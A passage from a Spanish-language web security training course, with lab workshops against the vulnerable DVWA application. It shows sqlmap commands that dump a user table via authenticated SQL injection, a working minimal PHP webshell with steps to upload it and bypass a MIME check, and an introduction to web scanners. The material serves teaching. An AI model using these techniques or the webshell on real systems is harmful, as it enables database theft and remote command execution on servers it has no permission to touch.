 Para que sqlmap pueda solicitar recursos autenticados, debemos

facilitarle la cookie de sesión, que podemos obtener de diversas
maneras, inspección del navegador, burpsuite, con la sintáxis:

 sqlmap -u "<URL>" --cookie="<nombre>=<valor>"

P á g i n a 41 | 45
5.14. Taller XV – Inyección mediante sqlmap

 El objetivo de la práctica es automatizar la inyección de sql,

pudiendo utilizar el campo inyectable como una “interface” con
la BBDD de la aplicación web.

1. El ataque lo realizaremos contra en entorno de DVWA, en

[Link]:567

2. Para que sqlmap pueda acceder a áreas protegidas de la

aplicación, le debemos facilitar una cookie de sesión válida.
Lo hacemos mediante el parámetro --cookie:

 sqlmap –u [Link]
id=1&Submit=Submit# --cookie=“COOKIE”

3. Una vez sqlmap hace su “magia”, podremos ejecutar

comandos para explorar y volcar la BBDD:

 sqlmap -hh, ofrece ayuda del comando

 sqlmap -u "url". Sintáxis básica de SQLmap.

 -dbs, lista las BBDD en el sistema gestor.

 --banner, lista el banner de la BBDD

 -D dvwa –tables. Muestra las tablas de la BBDD

 -T users –columns. Muestra los datos de los usuarios.

 -T users --dump

 -T users -C user_id –dump

P á g i n a 42 | 45
  [Link]
[Link]

5.15. Subida insegura de ficheros

 Cuanta más funcionalidad ofrece la aplicación web, más

posibilidades de encontrar una vulnerabilidad explotable.

 En concreto, la subida de ficheros realizada de manera insegura

nos puede otorgar la oportunidad de subir un fichero con una Shell
e invocarla a posteriori desde un navegador.

 Hay multitud de webshells, que permiten la ejecución de

comandos en el host del frontend.

5.16. Taller XVI – Subida de una webshell

 El objetivo de la práctica es comprobar como mediante una

inofensiva funcionalidad, podemos acceder a la ejecución de
comandos en el servidor.

1. Para ello, usaremos la WEB vulnerable en su página, insecure

upload.

2. Probaremos a subir un fichero de imagen cualquiera y a

invocarlo en el navegador posteriormente.

3. Conseguido eso, subiremos un fichero creado con peores

intenciones. En concreto una webshell en php muy sencilla:

 <?php

 $cmd = $_GET["cmd"];

 system($cmd);
P á g i n a 43 | 45
  ?>

4. Guardamos este código en un fichero .php y lo subimos

mediante el File Upload.

5. Lo invocamos en la ruta:

 [Link]
cmd=ls

6. Ahora vamos a cambiar el nivel de seguridad a medium y

probamos a hacer lo mismo.

7. En este nivel, comprueba el tipo mime de lo que estamos

subiendo.

8. Este tipo se informa en la cabecera.

 ¿Podrías modificarla de forma que aun así cargue el fichero??

5.17. Otras herramientas de seguridad WEB

 Disponemos de escáneres de vulnerabilidades web:

 Nikto, incluida en Kali Linux. Basada en firmas, detecta

componentes con vulnerabilidades conocidas.

 Arachni, herramienta muy potente, opensource, con

interface gráfica, similar a lo visto con Nessus pero para
entornos web exclusivamente.

 Ver: [Link]
[Link]

P á g i n a 44 | 45
5.18. Taller XVII – Arachni Web Scanner

 Existen muchos escáneres de vulnerabilidades. En concreto

vamos a realizar una práctica con un escáner opensource para
entornos web, que aparece muy bien situado en las
comparativas.

 Arachni Web Scaner dispone de múltiples opciones de

configuración, siendo capaz de hacer un escáner básico con
pocos parámetros o totalmente personalizado.

 Dispone de una interface gráfica y es multiplataforma. Está

escrito en Ruby.

1. En primer lugar, lo descargaremos de la web del proyecto,

[Link]

2. El proceso de descarga e instalación es básico, y una vez

descomprimido, abriremos el fichero [Link], dónde
vienen las instrucciones de incio.

3. Una vez cargada la interface gráfica, copiaremos alguno de

los “profiles”, que son las plantillas con las que generaremos
escaneos, revisaremos las opciones y enviaremos un escaneo
a alguna sitio de prueba.

 Ver: [Link]

P á g i n a 45 | 45